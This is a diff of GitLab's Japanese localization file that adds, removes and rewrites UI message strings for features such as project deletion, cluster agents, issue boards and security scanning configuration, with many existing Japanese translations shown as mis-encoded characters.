+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr "高度ãªè¨­å®š"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "パスワードã®æ›´æ–°ã«æˆåŠŸã™ã‚‹ã¨ã€ãƒ­ã‚°ã‚¤ãƒ³ç”»é¢ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã•ã‚Œã¾ã™ã€‚"
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "パスワードを正常ã«æ›´æ–°ã—ãŸå¾Œã€ãƒ­ã‚°ã‚¤ãƒ³ãƒšãƒ¼ã‚¸ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã•ã‚Œã‚‹ã®ã§ã€ãã“ã§æ–°ã—ã„パスワードã§ãƒ­ã‚°ã‚¤ãƒ³ã§ãã¾ã™ã€‚"
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "GitLab ユーザフィールドãŒç©ºã®å ´åˆã€ã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã¨ã‚³ãƒ¡ãƒ³ãƒˆã®èª¬æ˜Žã« FogBugz ユーザã®ãƒ•ãƒ«ãƒãƒ¼ãƒ  (例ãˆã°ã€By John Smith)を追加ã—ã¾ã™ã€‚ã¾ãŸã€ã“れらã®å•é¡Œã‚„コメントをプロジェクト作æˆè€…ã«é–¢é€£ä»˜ã‘ã‚‹ã‹ã€ã¾ãŸã¯å‰²ã‚Šå½“ã¦ã¾ã™ã€‚"
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3439,6 +3480,9 @@ msgstr "ドロップダウンデータã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Blobã®ãƒ—レビュー中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3598,6 +3642,9 @@ msgstr "ã™ã¹ã¦ã®ãƒ•ã‚¡ã‚¤ãƒ«ã®èª­è¾¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚
msgid "An error occurred while loading chart data"
msgstr "グラフデータã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "コミットシグãƒãƒãƒ£ã®èª­è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr "Webアプリケーションã®ãƒ¬ãƒ“ューãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’分æžã—ã¾
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr "æš—å·åŒ–済ã¿ãƒˆãƒ¼ã‚¯ãƒ³"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "ä»»æ„ã®ãƒ©ãƒ™ãƒ«"
@@ -3875,9 +3925,6 @@ msgstr "ä»»æ„ã®ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³"
msgid "Any namespace"
msgstr "ä»»æ„ã®ãƒãƒ¼ãƒ ã‚¹ãƒšãƒ¼ã‚¹"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "アプリID"
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr "本当ã«ã“ã® %{typeOfComment} を削除ã—ã¾ã™ã‹ï¼Ÿ"
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "本当ã«ã€ã“ã®ãƒ‡ãƒã‚¤ã‚¹ã‚’削除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹? ã“ã®æ“作ã¯å…ƒã«æˆ»ã™ã“ã¨ãŒã§ãã¾ã›ã‚“。"
@@ -4549,6 +4605,9 @@ msgstr "割り当ã¦å…ˆ"
msgid "Assign to commenting user"
msgstr "コメントã™ã‚‹ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«å‰²ã‚Šå½“ã¦"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "ã“れらã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’自分ã«å‰²ã‚Šå½“ã¦ã¾ã™"
@@ -4644,6 +4703,9 @@ msgstr "ファイルã®æ·»ä»˜ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
msgid "Audit Events"
msgstr "監査イベント"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr "å…¨ã¦è¡¨ç¤º"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "スコープ表示"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "コールãƒãƒƒã‚¯ URL"
@@ -6337,12 +6432,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr "未割り当ã¦"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "ãƒã‚§ãƒªãƒ¼ãƒ”ック"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6391,9 +6486,6 @@ msgstr "変更"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr "タイトルを \"%{title_param}\" ã«å¤‰æ›´ã—ã¾ã™ã€‚"
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr "グループ㮠URL を変更ã™ã‚‹ã¨ã€æ„図ã—ãªã„副作用ãŒç™ºç”Ÿã™ã‚‹å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -6469,10 +6564,10 @@ msgstr "åå‰ç©ºé–“ã®è¨ˆç”»ã§æ©Ÿèƒ½ãŒåˆ©ç”¨ã§ãã‚‹ã‹ãƒã‚§ãƒƒã‚¯ã™ã‚‹"
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr "%{name} 㮠GitLab サブスクリプション"
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr "%{selectedPlanText} プラン"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} ã‹ã‚‰ %{endDate} ã¾ã§"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "ファイルをé¸æŠžã—ã¦ãã ã•ã„"
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr "クライアント"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "クローン"
@@ -7089,6 +7184,9 @@ msgstr "クローズã™ã‚‹"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "%{tabname} ã‚’é–‰ã˜ã‚‹"
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "ã“ã® %{quick_action_target} ã‚’é–‰ã˜ã‚‹ã€‚"
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "クラスター"
@@ -7158,16 +7250,31 @@ msgstr "クラスターã®ãƒ¬ãƒ™ãƒ«"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr "クラスターåãŒå¿…è¦ã§ã™ã€‚"
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr "プロジェクトをå–得中"
msgid "ClusterIntegration|Fetching zones"
msgstr "ゾーンをå–得中"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLabã‚’çµ±åˆ"
@@ -7623,12 +7778,6 @@ msgstr "インスタンスクラスター"
msgid "ClusterIntegration|Instance type"
msgstr "インスタンスタイプ"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr "Kubernetes クラスターå"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "Kubernetes クラスターãŒæ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes クラスター㯠Review App ã®ä½¿ç”¨ã€ã‚¢ãƒ—リケーションã®ãƒ‡ãƒ—ロイã€ãƒ‘イプラインã®å®Ÿè¡Œã‚„より簡å˜ãªå‡¦ç†ã‚’è¡Œã†è¨±å¯ã‚’求ã‚ã¦ã„ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Kubernetesãƒãƒ¼ã‚¸ãƒ§ãƒ³"
@@ -7953,6 +8099,9 @@ msgstr "クラスターã®èªè¨¼ã«ä½¿ç”¨ã•ã‚Œã‚‹Kubernetes証明書。"
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "Kubernetes APIã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã«ä½¿ç”¨ã•ã‚Œã‚‹URL。"
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr "プロジェクトã«é–¢é€£ä»˜ã‘ã—ãŸåå‰ç©ºé–“。ã“ã‚Œã¯ã€ãƒ‡ãƒ—ロイボードã€ãƒ­ã‚°ã€ãŠã‚ˆã³Web端末ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã« Cloud Runã€Istioã€ãŠã‚ˆã³ HTTP Load Balancing アドオンを使用ã—ã¾ã™ã€‚"
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr "コード"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr "コードオーナー"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr "Prometheusã®è¨­å®š"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "トレーシングã®è¨­å®š"
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "ユーザーãŒæ–°ã—ã„アカウントを作æˆã™ã‚‹æ–¹æ³•ã‚’設定ã—ã¾ã™ã€‚"
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’作æˆ"
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr "è¦æ±‚事項を作æˆ"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr "ã‚ãªãŸã¯ã€ã‚°ãƒ«ãƒ¼ãƒ—を作æˆã™ã‚‹æ¨©é™ã‚’ã‚‚ã£ã¦ã„ã¾ã›ã‚“
msgid "CreateTag|Tag"
msgstr "ã‚¿ã‚°"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "個人用アクセストークンを作æˆ"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (デフォルト)"
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr "é‡å¤§ãªè„†å¼±æ€§ã®å­˜åœ¨"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron ã®ã‚¿ã‚¤ãƒ ã‚¾ãƒ¼ãƒ³"
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "ダッシュボード"
@@ -10891,6 +11085,9 @@ msgstr "コメントを削除"
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ ã‚’削除"
@@ -10912,6 +11109,9 @@ msgstr "コメントを削除"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "プロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã™ã‹ã€ç®¡ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr "ä¾å­˜é–¢ä¿‚プロキシ"
msgid "Dependency Scanning"
msgstr "ä¾å­˜é–¢ä¿‚スキャン"
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
